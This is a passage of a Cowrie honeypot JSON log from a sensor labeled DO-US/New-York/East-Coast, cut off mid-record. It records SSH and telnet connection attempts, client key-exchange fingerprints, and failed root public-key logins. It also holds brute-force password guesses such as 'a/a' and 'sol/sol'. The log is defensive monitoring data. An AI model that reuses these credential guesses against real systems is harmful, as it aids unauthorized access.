{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.355162Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:b6:67:ae:27:7c:6c:18:5b:b9:5f:ad:9a:52:3c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0TuHpFyYGlj1pon83YQJ9nFvWubi1hLIKTtJr4ElSe2bikxi38LSEMHBPizD4nVM59Bnfw2Nrk4TPs7y0HOrkJcXMmNjsKtV+Wkb6nKciQ6b4VTErqxGKYvN1srN32lOdFKewzKHbbYOFqY3OWXbY8TWB9q0zeql2t45sbHRfjLb0nWyBEeH9xw9X7lzP3GaxlhDQ85E2ZpzJaQF7aefag3Xr+r6F3CFiVEIEvrBig7rHaXYMySEzFIIKgZvjpTmA18Y5lq1RUwQ97DVkp7SbbIB6K+u8WiXgysR/sutDAiFMKi6SAdYFbjp80gCmaLIp+1dbeJzdevv+Io4rjvORw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:b6:67:ae:27:7c:6c:18:5b:b9:5f:ad:9a:52:3c:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.373521Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:b6:67:ae:27:7c:6c:18:5b:b9:5f:ad:9a:52:3c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0TuHpFyYGlj1pon83YQJ9nFvWubi1hLIKTtJr4ElSe2bikxi38LSEMHBPizD4nVM59Bnfw2Nrk4TPs7y0HOrkJcXMmNjsKtV+Wkb6nKciQ6b4VTErqxGKYvN1srN32lOdFKewzKHbbYOFqY3OWXbY8TWB9q0zeql2t45sbHRfjLb0nWyBEeH9xw9X7lzP3GaxlhDQ85E2ZpzJaQF7aefag3Xr+r6F3CFiVEIEvrBig7rHaXYMySEzFIIKgZvjpTmA18Y5lq1RUwQ97DVkp7SbbIB6K+u8WiXgysR/sutDAiFMKi6SAdYFbjp80gCmaLIp+1dbeJzdevv+Io4rjvORw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.377476Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:43:3d:f1:7a:77:36:1b:dc:f9:51:19:39:37:e8:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAve1EuTGVg+28LPvaJknhR/mVb8px628jCEZyDagz7vLbg+emjv/x6lBruNZYBu8p3XxrUT4XZmjzk2Ztv3+X5KU7rAToYH5KKRVoQl9dHMVfmCH0hYKR6sVZj8RH75bXsZMl+zoIAh+0+1cN7zwDtxCW3hYnFCuYHbkPntKORoJDsSTDHpu6/kB+01/Q87IDbaX+CPB/o6AbYyoDJXiYig4/DNaEj2yq5W+jfoR9Yna3cl/tFkrenLrC4WADGXF1Mkvn5UZt3D8jQ/pXU7fqn3xjaFgvPFq7g3p36DL1YXKHVvKRmG0Ju5X1jFV47JfZdRN1w4RTkZzgBxvwzY/gaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:43:3d:f1:7a:77:36:1b:dc:f9:51:19:39:37:e8:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.386487Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:43:3d:f1:7a:77:36:1b:dc:f9:51:19:39:37:e8:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAve1EuTGVg+28LPvaJknhR/mVb8px628jCEZyDagz7vLbg+emjv/x6lBruNZYBu8p3XxrUT4XZmjzk2Ztv3+X5KU7rAToYH5KKRVoQl9dHMVfmCH0hYKR6sVZj8RH75bXsZMl+zoIAh+0+1cN7zwDtxCW3hYnFCuYHbkPntKORoJDsSTDHpu6/kB+01/Q87IDbaX+CPB/o6AbYyoDJXiYig4/DNaEj2yq5W+jfoR9Yna3cl/tFkrenLrC4WADGXF1Mkvn5UZt3D8jQ/pXU7fqn3xjaFgvPFq7g3p36DL1YXKHVvKRmG0Ju5X1jFV47JfZdRN1w4RTkZzgBxvwzY/gaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.389752Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:dd:4b:59:5c:ae:ab:18:a6:3a:5f:3c:a8:d0:f4:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWUWhASqZ92SI/HODKqjyZ90TwK/yenzUceSvatG4szb7JI33AGMP8w37fsNGb6ezTUWq99GicxJGAVbEhhPtvbtnL8AAUBUNADa0olItJwoSaI4Ix1ItHi/yz8Pm/iiqOMqHPDM1qMN4mkgFKqbroL5ez7P9xi7MrR470KiR4lW4M+g3uL0avBqA0R8uhMeqOSEUxHqa2sPOKpdpvUvGdejMqUFjdq5hvdc0ztTqd7x6nuPxplmnOF+Ay6lWYRQbeqTBJmbt4X6MJmGlEgMNkNC1htzUqkTYpgEkXkSE0ohG3iUyzgt1iNbny+nOjBu+LSlaUtM3Jt1BmGfGXi0EwrHudNNyLTNUHRLDgRz+0N2HS17C3m24da9u7ShFZErx9bzAX3xoi3Ono0Svlsol0As4UHsqQji4O4GiHotVYWPWsL19FXPvaYCr+0SV5JOxsg3sLJDRRnWdhF+3htQRjhRs4NT5Vmf+mKMdggNS+pF8bOOu3+Y9vSbZzul5egfE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:dd:4b:59:5c:ae:ab:18:a6:3a:5f:3c:a8:d0:f4:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.396907Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:dd:4b:59:5c:ae:ab:18:a6:3a:5f:3c:a8:d0:f4:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWUWhASqZ92SI/HODKqjyZ90TwK/yenzUceSvatG4szb7JI33AGMP8w37fsNGb6ezTUWq99GicxJGAVbEhhPtvbtnL8AAUBUNADa0olItJwoSaI4Ix1ItHi/yz8Pm/iiqOMqHPDM1qMN4mkgFKqbroL5ez7P9xi7MrR470KiR4lW4M+g3uL0avBqA0R8uhMeqOSEUxHqa2sPOKpdpvUvGdejMqUFjdq5hvdc0ztTqd7x6nuPxplmnOF+Ay6lWYRQbeqTBJmbt4X6MJmGlEgMNkNC1htzUqkTYpgEkXkSE0ohG3iUyzgt1iNbny+nOjBu+LSlaUtM3Jt1BmGfGXi0EwrHudNNyLTNUHRLDgRz+0N2HS17C3m24da9u7ShFZErx9bzAX3xoi3Ono0Svlsol0As4UHsqQji4O4GiHotVYWPWsL19FXPvaYCr+0SV5JOxsg3sLJDRRnWdhF+3htQRjhRs4NT5Vmf+mKMdggNS+pF8bOOu3+Y9vSbZzul5egfE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.400365Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:b5:7f:67:ba:69:19:03:94:4f:ce:c6:ea:73:ec:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJhd8omzxTZW+a0OPwdE3lozvXfOB6QJUpe9VTymeGxIlz8o0SmsYzySKjKYMIaZ513o5E0m+7x9TVrSTOVyCdMdITqvEeE2Cog9rnt94jI3Mw179TPnsljrd8RiZ81+alDm0IS9hbkXdWrkmbm0+MWOkirbvigD9oiWPMqPxZTjAAAAFQCVDURjQc8ka0tv/hvyKcTavsf03wAAAIBHgGaitshDbXormuS0mS1YtaRq+unq73N+IRoxPnSVmLYAmDfgNF00S9+glp/1Sh42jJZo5MkslNs5pjoWX7w7RShSCJTxaK1Dbo8jNXIy0BByMOYAAlX5CkONeGNY/yCydqnPJhx6mA6ZLNh34Kv6t0tRgywUd4pDf/pzqVI1fwAAAIBzu6A91F1+DvVR3/wWoDfz/zc+UTq6T+a7++RRKYejAXLHCNcLsVqdnHdfRB6a1ZLTBNCjBTBePCka5miXUjQj+Qb/VXIbzCRm7Okwr/AibqNhky3fF3tTt2erNK/f/JHNt+SobcEDYxcdrdSg/3N/0eclJhTPXsqoOmytiEPL8A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 67:b5:7f:67:ba:69:19:03:94:4f:ce:c6:ea:73:ec:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.408185Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:b5:7f:67:ba:69:19:03:94:4f:ce:c6:ea:73:ec:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJhd8omzxTZW+a0OPwdE3lozvXfOB6QJUpe9VTymeGxIlz8o0SmsYzySKjKYMIaZ513o5E0m+7x9TVrSTOVyCdMdITqvEeE2Cog9rnt94jI3Mw179TPnsljrd8RiZ81+alDm0IS9hbkXdWrkmbm0+MWOkirbvigD9oiWPMqPxZTjAAAAFQCVDURjQc8ka0tv/hvyKcTavsf03wAAAIBHgGaitshDbXormuS0mS1YtaRq+unq73N+IRoxPnSVmLYAmDfgNF00S9+glp/1Sh42jJZo5MkslNs5pjoWX7w7RShSCJTxaK1Dbo8jNXIy0BByMOYAAlX5CkONeGNY/yCydqnPJhx6mA6ZLNh34Kv6t0tRgywUd4pDf/pzqVI1fwAAAIBzu6A91F1+DvVR3/wWoDfz/zc+UTq6T+a7++RRKYejAXLHCNcLsVqdnHdfRB6a1ZLTBNCjBTBePCka5miXUjQj+Qb/VXIbzCRm7Okwr/AibqNhky3fF3tTt2erNK/f/JHNt+SobcEDYxcdrdSg/3N/0eclJhTPXsqoOmytiEPL8A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.411955Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:98:b5:ab:c1:64:60:1d:6e:8e:45:bd:84:a8:51:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj0/lPzQELOeujD9cRe0JVv+Vw+/mnesl5GdLOz2Qn6ZYbjaDw700y9I0i934ScTUd8d9HhRN1Z4o4SekVvxGVdRnxgyABMwERq119Kz59/+yyt4XC61N+UaDxq3Lm8eLMF14Xvt+QDq85RIN3MIYHk2sNNxHGf6KboclR8zf8+FnwR2PE2gnKEcZvSmDFISHRb4Hic+63TDbulkHhi8JPFMEQ8LFFebdYFr+yypKRiwXN0U+k0rGAQ7aXhMipPQY6JGFWadEYl+ImzR1IBcg4aYI8SIOOE+NEXRX/7iHuV6QOIlK3KrtnNpuyfm1tRWj2xLF8OFtyJzKVWtvQ2IokVHTo5OFdeOdYSWkZ0aac6j5VNGCqG2i3bTSecCKE/6vFoFRSLLyKb2F8SIACOFWv4eXt3GUNe8pGY8L9zZsMg1XeUwL+eTjIbz/TsD5TPFFbJd/U5+3B0HWPIpifR8OQzYHQGPW+no1cvLryKlS+ZvrA8GDyW6pN5miIXlPMi7F5CdXc7mCRGuZHcDPsWM+vWL2a12xx4sekpVsVFqcU+wroY9d0lk49XR7ouewzAJQirB5F16rFRG1fwBHdsKFC0dy6sJy9MoojdEc2KW4rQ/Uty5kUpE0q4FrPH5hqc+ep2N52rdhGj/z9kaq/7epeWdhCT449mvBqrGI7MT0RQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:98:b5:ab:c1:64:60:1d:6e:8e:45:bd:84:a8:51:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.421078Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:98:b5:ab:c1:64:60:1d:6e:8e:45:bd:84:a8:51:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj0/lPzQELOeujD9cRe0JVv+Vw+/mnesl5GdLOz2Qn6ZYbjaDw700y9I0i934ScTUd8d9HhRN1Z4o4SekVvxGVdRnxgyABMwERq119Kz59/+yyt4XC61N+UaDxq3Lm8eLMF14Xvt+QDq85RIN3MIYHk2sNNxHGf6KboclR8zf8+FnwR2PE2gnKEcZvSmDFISHRb4Hic+63TDbulkHhi8JPFMEQ8LFFebdYFr+yypKRiwXN0U+k0rGAQ7aXhMipPQY6JGFWadEYl+ImzR1IBcg4aYI8SIOOE+NEXRX/7iHuV6QOIlK3KrtnNpuyfm1tRWj2xLF8OFtyJzKVWtvQ2IokVHTo5OFdeOdYSWkZ0aac6j5VNGCqG2i3bTSecCKE/6vFoFRSLLyKb2F8SIACOFWv4eXt3GUNe8pGY8L9zZsMg1XeUwL+eTjIbz/TsD5TPFFbJd/U5+3B0HWPIpifR8OQzYHQGPW+no1cvLryKlS+ZvrA8GDyW6pN5miIXlPMi7F5CdXc7mCRGuZHcDPsWM+vWL2a12xx4sekpVsVFqcU+wroY9d0lk49XR7ouewzAJQirB5F16rFRG1fwBHdsKFC0dy6sJy9MoojdEc2KW4rQ/Uty5kUpE0q4FrPH5hqc+ep2N52rdhGj/z9kaq/7epeWdhCT449mvBqrGI7MT0RQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.425399Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.435160Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:56.042900Z","src_ip":"65.183.234.136","session":"98f9973400f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.7","message":"Connection lost after 42.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:58.672035Z","src_ip":"65.183.234.136","session":"98f9973400f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.183.234.136","src_port":45100,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99827a5bdfc","protocol":"ssh","message":"New connection: 65.183.234.136:45100 (159.203.135.109:22) [session: f99827a5bdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:59.969136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:45:00.469048Z","src_ip":"65.183.234.136","session":"f99827a5bdfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:45:00.479084Z","src_ip":"65.183.234.136","session":"f99827a5bdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:45:14.343508Z","src_ip":"65.183.234.136","session":"f99827a5bdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:45:17.652225Z","src_ip":"65.183.234.136","session":"f99827a5bdfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.183.234.136","src_port":51290,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0807f56bf4b","protocol":"ssh","message":"New connection: 65.183.234.136:51290 (159.203.135.109:22) [session: b0807f56bf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:45:19.204650Z"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:45:27.072572Z","src_ip":"65.183.234.136","session":"b0807f56bf4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00771141052246,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:46:02.999030Z","src_ip":"212.55.149.117","session":"bf13a904804d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36934,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a928d5f98a","protocol":"ssh","message":"New connection: 2.57.122.238:36934 (10.17.0.5:22) [session: f4a928d5f98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:46:48.811987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:46:48.817134Z","src_ip":"2.57.122.238","session":"f4a928d5f98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:46:48.921885Z","src_ip":"2.57.122.238","session":"f4a928d5f98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:46:49.235322Z","src_ip":"2.57.122.238","session":"f4a928d5f98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:46:50.342377Z","src_ip":"2.57.122.238","session":"f4a928d5f98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.43.76.8","src_port":3295,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa2a0e84721","protocol":"telnet","message":"New connection: 103.43.76.8:3295 (10.17.0.5:23) [session: 4fa2a0e84721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:24.808863Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52828,"dst_ip":"10.17.0.5","dst_port":23,"session":"49927b1fd800","protocol":"telnet","message":"New connection: 212.55.149.117:52828 (10.17.0.5:23) [session: 49927b1fd800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:25.702975Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41478,"dst_ip":"10.17.0.5","dst_port":22,"session":"110660a7a693","protocol":"ssh","message":"New connection: 103.15.226.202:41478 (10.17.0.5:22) [session: 110660a7a693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:31.893461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:31.898165Z","src_ip":"103.15.226.202","session":"110660a7a693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-